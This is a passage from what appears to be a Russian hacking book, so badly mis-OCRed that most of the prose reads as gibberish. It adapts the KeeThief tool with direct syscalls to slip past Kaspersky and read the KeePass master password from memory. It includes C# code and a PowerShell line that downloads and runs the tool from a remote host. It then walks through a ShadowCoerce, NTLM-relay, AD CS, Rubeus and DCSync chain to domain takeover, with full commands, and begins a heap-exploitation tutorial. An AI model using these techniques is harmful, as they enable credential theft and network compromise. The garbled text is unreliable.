roToBble CUrHaTypbl AeneraTos ANA CUCTEMHbIX BbI30BOB W MOACMOTPETL NPUMEpPb! Koaa.

Byauns! M Hukakux Tebe HEAOBOJILCTB OT HALLIETO JIIOOMMOTO aHTUBUpYca (puc. 1.23).
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Puc. 1.23. Easy

Moaudukauma KeeThief

Tenepb y Hac ecTb Bce HeOOX0auMbIe 3HaHMs, 4T0ObI nepenucath Joruky KeeThief Ha
cHCcTeMHbIe BbI30BbI ¢ oMolubio D/Invoke. YToObl HE KONMNACTUTL BCE U3MEHEHHUS, KO-
TOpBIE 5 BHEC, B 3TOH CTaThe 51 CKOHLUEHTPUPYIOCHh HA pa3bope GyHKUUH YTeHHs pacind-
POBaHHOH 00JIaCTH MaMsATH, colepxalleid Mactep-naponb. OcranbHble H3MEHEHHs NOC-
TYNHBl 17 U3y4yeHus Ha Moem rurxabe: https://github.com/snovvcrash/KeeThief/
ommit/325327c5aa3ab5db1e808a493349de06cba673ce

MoaroroBka

Hrak, cnepsa s caenawo ¢opku npoektoB KeeThief (https://github.com/GhostPack/
KeeThief) u DlInvoke (https://github.com/TheWover/DInvoke). [lanee co3mgam oT-
nenbHyto BeTky keethief B dpopke DInvoke, rae n3baBiroch OT BCeX HE HCIOJIB3YEMBIX
HaMHu ¢GHY, TEM CaMbIM COKPATHB KOJMYECTBO MOJO3PUTENBHOrO KO/1a B COpLAX.

[otomM s Brtouy MoauduuupoBannsiii DInvoke kak git-moamoayns ans KeeThief.

git submodule add -b keethief https://github.com/snovvcrash/DInvoke.git
KeeTheft/KeeTheft/DInvoke

Teneps MO>XXHO CcO31aTh OpaHu syscalls, OTKPBITh KeeTheft.sln
(https://github.com/GhostPack/KeeThief/blob/master/KeeTheft/KeeTheft.sln) B Visual
Studio u 106aBUTh Manky DInvoke B MPOEKT.
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Anrpena dyHkumn ReadProcessMemory

dakTHyeckH Hac OyayT HMHTepecoBaTbh TOJbKO (YHKLHMH, OOBABICHHBIE B Win32.cs
(https://github.com/GhostPack/KeeThief/blob/master/KeeTheft/KeeTheft/Win32.cs),
NO3TOMYy I IIpUMEpa, KaKk W OOTOBOPHUIIHUCH, LEJIMMCI B ReadProcessMemory
(https://github.com/GhostPack/KeeThief/blob/04f3fbcOba87dbcd9011ad40a1382169
dc5afd59/KeeTheft/KeeTheft/Win32.cs#L.37-L.38, BrI3pIBaeTCS OHa BOT  31€ECh:
(https://github.com/GhostPack/KeeThief/blob/04f3fbc0ba87dbcd9011ad40a1382169
dc5afd59/KeeTheft/KeeTheft/Program.cs#L.160).

Kak u B Hamem mepBOM mpuMepe, IS MCIOJIb30BaHUA ReadProcessMemory B KeeThief
npUMeHseTcst 0ObIKHOBEHHBIH uMnopT P/Invoke ¢ noMouibio D11 Import.

class Win32

{

//
https://github.com/GhostPack/KeeThief/blob/04£3fbcO0ba87dbcd3011ad40al382169dc5a
fd59/KeeTheft/KeeTheft/Win32.cs#L37-L38

{D1lImport ("kernel32.dl1")]

public static extern int ReadProcessMemory (
IntPtr hProcess,
IntPtr lpBaseAddress,

[Out, MarshalAs (UnmanagedType.LPArray, SizeParamIndex = 3)] byte[]
lpBuffer,

int dwSize,
out IntPtr lpNumberOfBytesRead);

Jnst nopsiaka s co3maM oTaenbHbIE Kilacchl Delegates. cs (https://github.com/snovverash/
KeeThief/blob/syscalls/KeeTheft/KeeTheft/Delegates.cs) u  syscalls.cs (https://
github.com/snovvcrash/KeeThief/blob/syscalls/KeeTheft/KeeTheft/Syscalls.cs), roe 0y-
IyT HaXOAUTHCS NENeraThl ¥ peaju3aliil CUCTEMHBIX BBI30BOB COOTBETCTBEHHO. DyHK-
LU0 NtReadVirtualMemory i JIOKIH30BaJ YX€ H3BECTHHIM HaM METOJOM, IOACMOT-
peHHbiM B copuax (https://doxygen.reactos.org/d9/dd7/dll_2win32_2kernel32_2client_
2proc_8c.html#ad7212006d73b4cfc79ffdc134de12829) ReactOS.

class Delegates

{

1
https://github.com/snovvcrash/KeeThief/blob/3a1415e247688bc581£4dd036a6709737b3
b3848/KeeTheft/KeeTheft/Delegates.cs#L26-L32

[UnmanagedFunctionPointer (CallingConvention.StdCall) ]
public delegate DI.Data.Native.NTSTATUS NtReadVirtualMemory (
IntPtr ProcessHandle,



IntPtr BaseAddress,

IntPtr Buffer,

uint NumberOfBytesToRead,

ref uint NumberOfBytesReaded) ;

class Syscalls

{

//
https://github.com/snovvcrash/KeeThief/blob/3al1415e247688bc581£4dd036a6709737b3

b3848/KeeTheft/KeeTheft/Syscalls.cs#L36-L47

public static DI.Data.Native.NTSTATUS NtReadVirtualMemory (IntPtr Proces-
sHandle, IntPtr BaseAddress, IntPtr Buffer, uint NumberOfBytesToRead, ref uint
NumberOfBytesReaded)
{
// TonyuaeMm cTab (ykasaTesb Ha 3KCIOPT LeNeBoi QYyHKLYM) CUCTEMHOT'O Bhl-
30Ba U VHMLMAIM3VPYEM MM OeJleTaT

IntPtr stub =
DI.DynamicInvoke.Generic.GetSyscallStub ("NtReadVirtualMemory") ;

Delegates.NtReadVirtualMemory ntReadVirtualMemory = (Dele-
gates.NtReadVirtualMemory)Marshal.GetDelegateForFunctionPointer (stub,
typeof (Delegates.NtReadVirtualMemory)) ;

// OBpamaeMmcs k pmeyleraTy Kak K LeJleBOM QyHKLVM M BO3BpallaeM pes3ysbTar
return ntReadVirtualMemory (

ProcessHandle,

BaseAddress,

Buffer,

NumberOfBytesToRead,

ref NumberOfBytesReaded) ;

Tenepp HaM  HY)XHO BHECTM HM3MEHEHMs B JIOTMKy [JIaBHOTO  Kiacca
Program.cs (https://github.com/GhostPack/KeeThief/blob/master/KeeTheft/KeeThef
t/Program.cs). Bot uto Tam ObLIO HU3HAYANBHO.

static class Program
{

public static void ExtractKeyInfo (IUserKey key, IntPtr ProcessHandle, bool
DecryptKeys)

{

// ,
https://github.com/GhostPack/KeeThief/blob/04£3fbcOba87dbcd9011ad40al382169dc5a

fd59/KeeTheft/KeeTheft/Program.cs#L156-L165

// Read plaintext password!
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// XmeMm, mnoka orTpaboTaer Wesui~Kox
Thread.Sleep (1000) ;

// OOBABNAEM MEPEeMEeHHYK IJIA KOJMYECTBAa MMPOYMTAHHEIX OaNTOB U CTATHUUECKIA
MACCHUB LUl COXPaHEeHMs pesysbTaTa

IntPtr NumBytes;
byte[] plaintextBytes = new byte[key.encryptedBlob.Length];

// BuzbiBaeM camy o¢yHkUumio ReadProcessMemory, nepenaBas B KaudeCTBe
apryMeHTa ampec obJjlacTu naMaTy, OTKyIa Halo CUMTAaTh MacTep-rapoib
(EncryptedBlobAddr)

int res = Win32.ReadProcessMemory (ProcessHandle, EncryptedBlobAddr,
plaintextBytes, plaintextBytes.Length, out NumBytes);

if (res != 0 && NumBytes.ToInt64 () == plaintextBytes.Length)
{

// Ecyiu ycnemwHo, NpuCBamMBaeM pesyJbTaT nojio plaintextBlob obwekTa
key M BHBOOVMM €O B KOHCOJIb

key.plaintextBlob = plaintextBytes;
Logger.WriteLine (key) ;

31ech MPOMCXOAUT YTEHHE Y)Ke paciiupoBaHHON 0OIacTH maMATH (MOcie 3aBepLICHHs
paboThl IIe/I-KoAa) B yAaleHHOM mpouecce. 1 BoiOpan mopTHpoBaHHEe (YHKLMH
ReadProcessMemory IJIsl IPUMEpa Hecay4ailHO, MOCKOJBKY TYT HY)XKHO OoJbliie BCEro mo-
BO3UTBLCS C TUIIOM MEPEJaBaeMbIX MapaMeTPOB.

BoT uto y MeHs nosyunnocs.

static class Program
{

public static void ExtractKeyInfo (IUserKey key, IntPtr ProcessHandle, bool
DecryptKeys)

{

//
https://github.com/snovvcrash/KeeThief/blob/3al415e247688bc581£4dd036a6709737b3
b3848/KeeTheft/KeeTheft/Program.cs#L161-1174

// Read plaintext password!

// XmeMm, mnoka oTpaboTaeT WesI-KOI
Thread.Sleep (1000) ;

// OOBABJNISEM MEPEMEHHYI IUld KOJMMYECTBA MPOUMTAHHEIX OaiTOB U yKa3aTelb
Ha HeynpaseJiseMyl OOJIACTh MaMATU LU COXPAHEHMs pesysibTaTa

uint NumBytes = 0;
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IntPtr pPlaintextBytes =
Marshal.AllocHGlobal (key.encryptedBlob.Length) ;

// Bri3bBaeM camy OyHKLMIO ReadProcessMemory, nepenaBas B KadecTBe
aprymMeHTa anpec obJjlacTyv namsaTM, OTKyNa Hado CuMTaTb MacTep-Ilapoilb
(EncryptedBlobAddr)

if (Syscalls.NtReadVirtualMemory (ProcessHandle, EncryptedBlobAddr,
pPlaintextBytes, (uint)key.encryptedBlob.Length, ref NumBytes) == 0 && NumBytes
== key.encryptedBlob.Length)

{

// Eciu ycneuwHo, nepefpaceBaeM CUMTAHHHE GaMTH M3 HEeyNnpaBJsgeMoint
obrlacTy NaMaTM B CTATUUECKMIA MacCCUB

byte[] plaintextBytes = new byte[NumBytes];
Marshal.Copy (pPlaintextBytes, plaintextBytes, 0, (int)NumBytes);

// TlpucBamBaeM pesysbTaT MO0 plaintextBlob ob6wekTa key M BHBOIOVM
ero B KOHCOJIb

key.plaintextBlob = plaintextBytes;
Logger.WriteLine (key) ;

// OcBoBoxmaeM HeyNnpabBJsgeMyl MaMsaThb, BbUISJIEHHYI paHee
Marshal.FreeHGlobal (pPlaintextBytes);

OCHOBHOE OTJIHYKE, KaK Thl YK€ Joraaajics, B ToM, uto Native APl He 3Haer, uto Takoe
ynpaBasemble MaccuBbl .NET, mo3ToMy OpUXOTUTCS M3MEHSATH JIOTHKY s paboThI C
HEYTpaBJsSEMO MaMSThHIO.

CobOctBeHHO, ocTanbHble BbI30BbI Win32 API nerko naxoastcs no Ctrl-F B program.cs
(https://github.com/GhostPack/KeeThief/blob/master/KeeTheft/KeeTheft/Program.
cS), U I HUX TMPOJENBIBAIOTCA T€ € MAHHUIYJSAUUH, YTO Mbl pa3obpanu aJis
ReadProcessMemory. Pe3ynbrat MoxHO noarnsnets B MoeM dopke (https://github.com/
snovvcrash/KeeThief/tree/syscalls/KeeTheft/KeeTheft).

Bpems gnsa tecra!l

S CKOMIHIHPYIO MOIH(PHLHMPOBAHHYIO COOPKY M CO31aM TECTOBYIHO 0a3y JaHHBIX
KeeThief ¢ maponem passwOrd!. Bepcust nporpammsel KeePass, Ha koTopoii s1 3TO npoBe-
psiI, — caMasl CBe)kast HA MOMEHT HamucaHus cTathi (2.50).

I'py3uM B mamsTh U IepraeM Touky Bxona npu otkpeitoi B/l KeePass (puc. 1.24).
Sdata = (New-Object
System.Net.WebClient) .DownloadData ('http://192.168.0.184/KeeTheft.exe"')
Sassembly = [System.Reflection.Assembly]::Load ($data)
[KeeTheft.Program]::Main(" ")



Bawa 3auura aKTusHa

Moapabsiee

=

Fiod  View Tooks Hep
“® - i seancn - P Besonackie niaTeXH

gi Title. Unar Nare. Password URL Patwn
} S sampiea.. Uses Name st Mtpsiikeep.. Motes
i Psampletn. Mkl = tutpesiteep... s °

o Sad

;% Homebanking JawmTa NPRBaTHOCTH 3 My Kaspersky

Puc. 1.24. Cum-cum, oTkpoircs!

BbiBOAbI

Hcrnone30BaHHEe CHCTEMHBIX BBI30BOB B NPAaKTHKE BHPYCONHCATENHCTBA — JaJEKO HE
HoBasg Tema. OcHoBHBIE crnocoOwl aetektupoBaHus (https://www.cyberbit.com/blog/
endpoint-security/malware-mitigation-when-direct-system-calls-are-used/)  Bpezo-
HOCHOTO TOBEIEHHS B 3TOM CJIy4ae CBOJSTCS K OTCIIEXKHBAHHIO ONEpalHil MapCHHTa
ntdll.dll W 3amycKa MOJO3PUTENBHBIX MPOLECCOB MM MOTOKOB C MOMOIIBIO MOTEHIIH-
aJIbHO OITACHBIX BBI3OBOB IO THUITY NtCreateThreadEx, NtQueueApcThread H APYTHX.

B pesynbrate mMbl obomutn «AHTHBHpYC Kacmepckoro» M Mo)xeM CKOMIIPOMETHPOBATb
kpeasl B KeePass. Co3nanne kpacuBoro 3arpy3uuka [1jsi HCIOJHEHHs IPOrpaMMBbl B OJHH
KMk 13 namati Ha PowerShell octasnio B kayecTBe ynmpaKHEHHS U1 YHUTATEIS.
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ShadowCoerce.
Kak paboTaet HOBasa aTtaka
Ha Active Directory

AYSerkov

B sto0it rnaBe s nokaxy, kak paboraert ataka ShadowCoerce, koTopast HCIIOJB3yET CITyXK-
Oy TeneBoro konupoBanus (VSS) 1 no3BoNsAeT NPHHYANTH YYETKY KOHTpOJUIEpa JOMEHA
Active Directory aBTOpH30BaThCs Ha y3J€ 30yMBIUIIEHHHKA. A 3TO, KaK Thl JOrajbIBa-
elIbCs, MOXKET MPHBECTH K 3aXBaTy JOMEHa.

PetitPotam u PrinterBug

Panee B Tex ke Lensx npuMeHsIHCh TexHHKH PetitPotam (https://github.com/topotam/
PetitPotam) u PrinterBug.

PetitPotam wucnonb3oBan GYHKUMIO EfsRpcOpenFileRaw M3 ImpoTokona Microsoft
Encrypting File System Remote Protocol (MS-EFSRPC), koropsiit npenHazHaueH nmns
BBINIOJIHEHHA ONepauui ¢ 3alnpOBaHHBIMH AaHHBIMH, XPaHALIHMHCA B YHalE€HHBIX
cHCTeMax.

PrinterBug 3noynorpebnsan ¢yHkunel RpcRemoteFindFirstPrinterChangeNotifica-
tionEx B mpoTokoie Microsoft Print System Remote Protocol (MS-RPRN). Ilpu araxe
[0J1b30BaTeNb JOMEHA MOXKET 3aCTaBHTH J1I00Y10 MallIHHY, Ha KOTOPOH 3anmylieHa ciryx0a
ouepeaq mneyar, MOJKIIOUNTHCA K MallHHE CO BKJIIOYEHHBIM HEOIPaHHYEHHBIM AEJIerH-
poBaHueM. J[Ind dkcmiayaTauud o3toro Oara mnpuMeHsercs HHcTpyMeHT Krbrelayx
(https://github.com/dirkjanm/krbrelayx).

MONE3HBLIE CCbINKN
MoppobHee 06 3TUX yA3BUMOCTSX:

= Compromising a Domain With the Help of a Spooler
(https://Iblog.cymulate.com/compromising-a-domain)

= 3axBaT KOHTposfepa AoMeHa € nomoLlbio atakn PetitPotam
(https://habr.com/ru/companyl/deiteriylab/blog/581758/)
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ShadowCoerce — HOBBIII croco0 MpUHYAUTENbHONH ayTeHTHhUKAauMH. OH HCHONb3yeT
NpOTOKOJ CIykObl TeHeBoro konupoBaHus VSS (MS-FSRVP). Ho npexne, uem roeo-
PHTB O HEM, PAcCKaXXy mapy cjioB o camoii VSS.

Y10 Takoe VSS

Volume Shadow Copy Service (VSS) — 3to ¢urua Windows Server, KoTopast Mo3BoJisieT
THXO, HE3aMETHO U LIEHTPAIH30BaHHO O3KAMHUTh I0JIb30BATEILCKHE JaHHBIE.

[IpencraBe, uTo y TeOs ecTh (haiaoBbIii cepBep, OIKAM KOTOPOro AeNIaeTcsl €XEIHEBHO.
VYTpoM Thl BHEC U3MEHEHHs B KPUTHYECKH Ba)XKHBIH JOKYMEHT, a B KOHIIEe paboyero AHs
YTO-TO HAMyTaj M CJIy4aiHO ynanui 3ToT (aiia. BocctaHOoBUTH ero u3 O3kana OyaeT He-
BO3MOXHO, TaK KaKk B YTPEHHIOI ceccHio OH He nonaji. OQHako eciu Ha cepBepe BKIIIO-
4yeHa cinyx06a VSS, To MOXXHO He TOPONHUTHCA JIOMaTh KJIABHATypy 00 KOJEHO M KHOaThb
MOHHTOp B OKOLIKO — (haiin Mo>kHO Oynet criactu!

[To cytu VSS konupyet Bcro HHGOpMaLHIO, XPAHALLYOCS Ha JUCKE, HO IPH 3TOM OTCJIe-
YKHBAeT U3MEHEHHUs U OepeT TONbKO HYyXXHbIe 0J10KH. CaMy KOITHH eJatoTCs aBTOMaTHYe-
CKH KaXIbIH Yac, U 1Mo yMoa4yaHuio Windows XpaHUT uX B KojuuecTBe 64 mryk. VSS —
mITyKa ynoOHas 4 MOBCEMECTHO MCNOJIb3YETCs B JOMEHHBIX CETSIX.

CteHpg

J1nst npoBeeHHs aTaku HaM MIOHA00MTCs TECTOBBIN CTEHN!
O xoutposuiep nomena (DC) — Windows Server 2016;

Puc. 2.1. YcraHoBka cnyxbb! areHTa VSS
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O uentp ceptudukaunn (AD CS) — Windows Server 2016 ¢ BKJIHOUEHHOH cyX00H
Web Enrollment;

a CKOMIIPOMETHPOBAHHAA YUE€THAA 3alIUCh I[10JIb30BATEJIA ¢ HU3KHUMHU IIPHUBHUJIETUAMMU.

Cyns no nokymentauuu Microsoft, nporokon ynaneHHoro ¢ainosoro cepsepa VSS
(MS-FSRVP):

O co3naet TeHeBble KONUH (haiI0BBIX PECYPCOB Ha yAaJEHHbIX KOMIIbIOTEpAX;
O nenaet pe3epBHOE KONHMPOBAHHE MPHIIOKEHUH;
0 BoccTaHaB/IMBaeT AaHHble Ha dailnoBbIX pecypcax SMB2.

UrtoObl Halll KOHTpOJJIEpP IOMEHA Hauaj [ejaThb TEHEBble KOMHH, HYXHO YCTaHOBUTD
cnyx0y arenta VSS u3 mMeHto «Pomiu cepsepay (puc. 2.1).

Ha MOMEHT HallucaHHs TUX CTPOK M3BECTHBI TOJILKO JIBE Ys3BHUMbIE (hYHKUHH, KOTOPbIE
obpabaTeiBaeT MS-FSRVP: 1sPathSupported U IsPathShadowCopied. IMEHHO OHH MO-
3BOJIAIOT MOJHATH HAILIM MpaBa, TaK Kak o0e padoTatoT ¢ yaaiseHHbIMU nyTaMu UNC.

Kak pabotaet ShadowCoerce

Hns ShadowCoerce noctynen PoC (https://github.com/ShutdownRepo/ShadowCoerce),
KOTOPbIH AEMOHCTPHUPYET 3j0ynorpedneHue d>TuMu GyHkuusmu. McnonHeHue kozaa 3a-
CTaBJIsET YUYETHYIO 3allMCh KOHTpOJUIepa JoMeHa 3anpocuTh 06wmui pecypc NETLOGON
win SYSVOL u3 cucteMbl, HaxoasuieHcs noa KOHTpoJeM 370yMbliieHHuka. [Ipunynu-
TenbHass ayTeHTH(UKalUMs BbINoONHsAeTcs yepe3 SMB, B oTiuMuMe OT IpYrux nogoOHBIX
MeTon0B npunyxaeHus (PrinterBug u PetitPotam, puc. 2.2).

Puc. 2.2. MpuHyauTensHas ayTeHTudmnkaums
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[Ipu sxcnnyarauuu ys3sumoctd NTLMv2-xei yueTHOH 3anMcH XocTa KOHTpoJuiepa J10-
MeHa OKa3bIBaeTCs 3aXxBaueH. 3aTeM HTOT Xell MepeaaeTcs B UEHTP cepTU(dHUKALNHU, YTO-
Obl 3aperrucTpupoBath cepridukar. [locne yero ero MoXKHO MCMONb30BaTh AJIs AyTEHTH-
(dbuKauMu Ha KOHTpOJUIEpE AoMeHa Yepes ciyx0y Kerberos.

B kypHane coObITHH KOHTpOJUIEpa JAOMEHAa BHIUM, KaK 3amyckaeTrcs caMm MpoLecc H
cnyx6a VSS (puc. 2.3, 2.4 u 2.5).

[asaii paz6epem cam npouecc ataku ShadowCoerce (puc. 2.6).

Puc. 2.3. MogxntoueHue k ceTeBOMY pecypcy OT UMeHU user

Puc. 2.4. 3anyck npouecca fssagent n cnyxbbl VSS

I[J'IH €€ NMPOBEACHHA 3JIOYMBILIJIEHHUK BBIMOJHACT CICAYOLINHE JICUCTBHUSL.

1. Iloaxiovaercss K CETEBOMY pecypcy C MOMOLUBK 3KCIUIOMTA W 3J10YyNoTpedsseT
(GYHKUMAMH IsPathSupported H IsPathShadowCopied B mpoTokosie MS-FSRVP.
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[Monyuyaer NTLMv2-xewr ot koHTposiepa nomeHa (SMB). BpenoHocHsllt kox mpu-
HYX/IaeT YYETHYI0 3alUCh KOHTpoJUIepa JOMEHA K ayTeHTHU(HUKALUH MO MPOTOKOIY
SMB Ha 3axBau€HHOM KOMIIbIOTEpE.

. IlepenanpaBnset xeuwr B ueHTp ceptudukauuu (LDAP).

[Monyuaer ceprudukar B Base64.

Obupe ﬂo,qpot}n_oc_m.;_

C:\Windows\System32\WSSVC.exe
TokenEtevationTypeDefault {1}
Ox1ed
C\Windows\system32ivssvc.exe

New Process Name:
Token Elevation Type:
Creator Process ID:
Process Command Line:

A new process has been created.
Creator Subjeé
Security {D: CUCTEMA
Account Name: DC1$
Account Domain: VULN
Logon iD: Ox3E7
Target Subject:
Security ID: NULL SID
| Account Name: -
| Account Domain: s
togon ID: Ox0
|
|Pro:ess Infermation:
New Process ID: Oxeec
|

Puc. 2.5. 3anyck npouecca vsscc

KeHTponnep gomena
192.168.1.147

Kali linux
192.168.1.122 )

tenTp cepTudmraymmn
192.168.1.150

Puc. 2.6. Cxema ataku ShadowCoerce



Jkcnnyartauus

Tenepb A MOKaXy, KaK BbIIVIAAWUT CaMa 3KCIUTyaTalus.

UtoObI MpOBEpHUTD, 4YTO Ciyxk0a VSS pabotaer, nmomnbiTaeMcs nepexBatuTh NTLMv2 ¢
nomolusto Responder.

sudo responder -I eth0 -e <ip cmywarens> -b -A -v

HaMm nonano06sTcs ydyeTHble AaHHbIE J1H0O0TO MOJb30BaTeNs AoMeHa, [P-aapec ciyarens
u IP-agpec xontposnnepa nomeHa. [lycte TebGs He myraer owmnbka MOAKIIOUEHHs MPH
nepBoM 3amycke (puc. 2.7).

python3 shadowcoerce.py -d "momeH" -u "vvs nomes3orarens" -p "napons" <IP
cnymarens> <IP kOHTpoJsulepa OOMeHa>

Downloads/tools/AD/ShadowCoerce

have worked, chec opr listener ...

Puc. 2.7. Owwnbka nogkniouerna npu Nnepeom 3anycke

[Tockonbky Ha Kali mbl cnymaem SMB, Hamu Oyner 3axBaueH xewr NTLMv2 yuetHoi
3aMMCH KOMITbIOTEpa KOHTpoJuIepa AoMeHa (puc. 2.8).

Puc. 2.8. 3axsar xewa NTLMv2

Ecnu B 1oMeHe ecTh LEHTp cepTH(dUKALMU, a OH Y HAC €CTh, Mbl MOXEM IEpEHANPABUTh
Ha Hero NTLMv2-xem uepe3 npotokosn HTTP. Maest B TOM, 4TOOBI CMECTHTH Halll BEK-
TOp B CTOPOHY IOJIy4EeHHsI cepTH(HKaTa, TaK KaK MCIIOJIb30BaTh ero OyaeT mpoiue, yeM
Net-NTLMv2-xeuw (puc. 2.9).
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python3 ntlmrelayx.py -t http://<IP ueHrtpa cepTuduxaum>/certsrv/certfnsh.asp -
smb2support --adcs --template DomainController

182.168.1,358 /certsryicertfnshiasp

gle host

Puc. 2.9. NMonyuenune ceptudukata

[Tocne ycneuinoii araky Ham OyzaeT BoigaH ceptudukar B Base64 (puc. 2.10, 2.11).

Connecting to ncacn.
Connetted:

your listener ...

%] Getting certificate ...

[%1 607 CERTIFICATE!

{% Base&d certificate of
MITRNOIBAZCCEPBGCSQRS
DrUpf3ELcvYNLEXtUZ 2+ MUy v 0
Mmi43K02k0ZawRwpVH2aST JEUALSNUrXWLKpt
QAj+balzahiWt x5 1L NKVOBAE 1wBI008Bw wHoT 102
11i8vranY 1 fvbEQdsl SLYCR] &’&fva“"’*
ﬁSKF“EWHL“qugT

Ow2xalsiised

ExDVLa) 7«6?

SiKwz2 iNo9f 30

&35@QQaVﬁ’3CQP%v

SawiMlulHbzPeky

U1uBPukhOsnb7kAy
EJkPI17GAmEZy3KVPLLCP

tHIXLVEEYT 9*;1AﬁUeé‘
yR’ml+bKP’f2%@b]L”%

‘5ﬁ<F19QuﬁALMLA;

Fzde? 159

Ha«aDqsbgrra‘g

1Jyrx£9&¥“3;6¢3t;

oo
D
&
7
Z
4

ém#&;@l*@&H’#ar b 1062 : Al viDUJZdit
r@FfLV7QLU)Px1" #" DUO9vTFzS5R FFCLVEKQLE3ZZ D4 1D
falglBi7 G5 BrnKtyaM2bvDutlwidia
jWM?GRHJ+mWFva MCLL»UHJKJ?NWYHAEX&y‘UMZ uwiElWL ;g%ﬂﬁﬂﬂ

Puc. 2.11. Ceptudukat B Base64




a 55 a

Wcnonb3ys ceptudukar, mpl moxkeM 3anpocuts Ouner TGT (Ticket-Granting Ticket,
«Ouner Ha noayyenue 6uneTa») Mg YYETHOH 3anucH koHTposuiepa aomena (DCU) ¢ no-
MOILbI0 HHCTpYMEHTA noj HasBaHueM Rubeus (puc. 2.12).

Rubeus.exe asktgt /user:DC1l$ /certificate:<ceprudpmxar B Base6d> /ptt

Puc. 2.12. 3anpoc TGT ¢ nomowbto Rubeus

Puc. 2.13. Ataka DCSync
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Hanuuue TGT ays yyeTku KOHTpoJIIEpa JOMEHA 3KBUBAJEHTHO MpaBaM JIOKaJIbHOIO aj-
muHHcTpaTopa. TGT Moxker ObITh MCNOJB30BaH, HampUMep, Ui MPOBEAEHHS aTaku
DCSync ¢ nocneayrowmunm 3akperniesneM B 1oMmeHe ¢ nomolusio Golden ticket.

C nomoiusto ytuautel mimikatz nposeaem araky DCSync u 3ab6epem NTLM-xem an-
MHHHCTpaTOpa JOMEHAa. AIMHUHHUCTPATOPOM JOMEHA Ha HallleM CTEHE SABJAETCS MOJb30-
Batenb TH (puc. 2.13, 2.14, 2.15).

lsadump: :dcsync /domain:noMeH /user:mojib30BaTENb

Puc. 2.14. Ataka DCSync

python3 wmiexec.py -hashes :NTLM xew nojb3oBaTensal<IP KOHTpoJUlepa IoMeHa>

Puc. 2.15. Ataka DCSync

BbiBOAbI

MbI nogHsIH MPHUBHJIETHH C IMPOCTOI0 MOJB30BaTEIA A0 aAMHHUCTpAaTOpa AOMEHA. I[J'IH
3TOro HaM l'lOHa,ZlOGI/IJ'II/ICL BCEro oJHa ﬂCﬁCTBy}OmaH ydy€THasa 3alucChb U Iapa KOMaHJ B
KOHCOJIH.

Ataku perpa”casuu NTLM cyuiecTBylOT yxe HOBOJBHO JaBHO, HO, KaK MBI BHIHUM,
HCCJIEIOBATENHM €XKEroHO HaXOIAT HOBbIE OOXOJHBIE MyTH A dKcIutyatauud. [Ipume-
YaTenbHO, YTO 3Ta aTaka, B OTVIMYHME OT MPOLUIbIX, HE UCIOJB3YET YSA3BUMbBIEC (PYHKIIUU B
npotokose RPC, a onupaetcs Ha nmpoTokost obuiero qocryna k daitnam SMB.
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Ecnu Th1 anmuHNCTpUpYELIb ceTh, rae BkaodeH NTLM, y6enucs, 9ro ciyxObl, paspe-
maromue nposepky noanHHoctd NTLM, ncnons3yrot cpeactsa 3amuTsl. Cpean HUX —
pacliupeHHas 3aluTa s nposepku nomMHHOCTH (EPA) nnyn ¢yHkunu noamucu, trakue
Kak noanucs SMB. A emie TBost ceTh MOTEHLHMAIBHO YA3BHMA, €CIM B JOMEHE BKJIIOYEHA
npoBepka mnommuHHocth NTLM u ucnonedyercs cnyxkba ceprudukaumn Active
Directory (AD CS) ¢ n1060ii U3 cienyromux ciryxo0:

O uHTEepHET-perucTpauus HeHTpa cepTUhUKALIH;
O BeG-ciyxba perucTpaunu ceEpTUGUKATOB.

OdunmanpHeix 3asBieHnid Microsoft mo moBoay onuckiBaeMoW aTakd HA MOMEHT HaIM-
CaHHMs 3TUX CTHPOK HE JENaNnoch.



Kpyude Kyuu!
Pa3bupaem B noapodHOCTAX
npob6nemsl heap allocation

Bsiyvecnae MockeuH

HekoTopble ysI3BUMOCTH BO3HHKAIOT M3-3a OLIMOOK C YIpaBlIEHUEM NaMAThIO, BbIACIEH-
HOH Ha Kyde. MexaHu3M 3KcIulyaTaliu 3THX YS3BUMOCTEH clokHee, YeM OObIYHOE Ie-
pErosIHeHHE Ha CTeKe, TOITOMY He BCe YMEIT ¢ HUMHU paboTtath. [Jaxe kypc Cracking the
perimeter (OSCE) He 3axoaun nanbuie TpuBHanbHOH nepe3anucu SEH. B 31o# cTathe s
paccKaKy W Ha MPaKTHKE MOKaXy MEXaHUKY pabOThl Ky4H.

[IpakTHkoBaThCS MBI OyaeM Ha peanu3auuu ky4u ptmalloc2, koTopas ceffuac Hcnoab3y-
eTcs o yMmon4aHuio B glibc, mostomy Ham noHagobsaTcs MalunHa ¢ Linux u Heobxoau-
MbIit codt. YcranoBum omnanuuk GDB, GCC (M0XHO cpa3y NMOCTaBHTh BECh MaKeT
build-essential) 1 otnagouynyro Bepcuio 6ubnuoreku libc, No3BoAAIOLIYI0 BUAETH MOA-
pobnyto nuHpopmaumio o kyye. Tarxke nmoctaBuM pwngdb u ero 3aBHcHMOCT — peda,
4TOOBI MONYYUTh YA0OHBIE KOMaH/Bl vimap, hexdump, heapinfo.

sudo apt install gdb build-essential libc6-dbg

git clone https://github.com/scwuaptx/Pwngdb.git ~/Pwngdb
cp ~/Pwngdb/.gdbinit ~/

git clone https://github.com/longld/peda.git ~/peda

OcHoBbl GDB

Jnsa n3yyeHus paboThl HALIKMX TECTOBBIX MPOTpaMM MOHAnoOUTCA 3HAHHE 0a30BBIX KO-
mana GDB:

O r[un] — 3anmyCcTUTh ¢aimn;
O blreak] *0x1234 — MOCTAaBUTh TOUKY OCTAHOBA Ha ajipece 0x1234;
O blreak] 123 — MOCTaBUTb TOYKY OCTAHOBA HA CTPOKE 123 TEKYLIEro HCX0qHOro (aiina;

O blreak] basic.c:123 — MOCTaBUTh TOYKY OCTAHOBA HA CTPOKE 123 HCXOAHOTO (haina

basic.c;
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O clontinue] — MPOJOKUTDH BBIMOJHEHHUE;

O sitep] — BBINOJHUTb OJHY acceMOJIEPHYIO HHCTPYKLHIO;

O nlext] — BBIMOJHUTL OJHY CTPOYKY HCXOAHOTO (haina;

O x/10xg 0x1234 — pacneyaraTb AecsATh 8-0aHTHBIX CJIOB MO aapecy 0x1234;

O plrint] a— pacreyaratbh 3HaYeHHE MEPEMEHHOH a;

O plrint] *((mchunkptr)0x555555756680) — B3STh COAEPKHMMOE MaMATH MO aapecy

0x555555756680 KaK THII mchunkptr, 3aaepeq)epeﬂcmb €ro u pacrieyaTtaTh,

O where — NnokKa3aTb, Ha KaKoM CTPOYKE UCXOAHOI'0 KOJa HAXOAUTCA BBIMTOJIHEHUE TTPO-
rpaMMbl.

Komanae! peda u pwngdb:
O vimap — BBIBECTH KapTy MaMsTH;
O hexdump — M0OKa3aTh COAEPKUMOE NaMATH MO aApecy B BUJE hexdump;

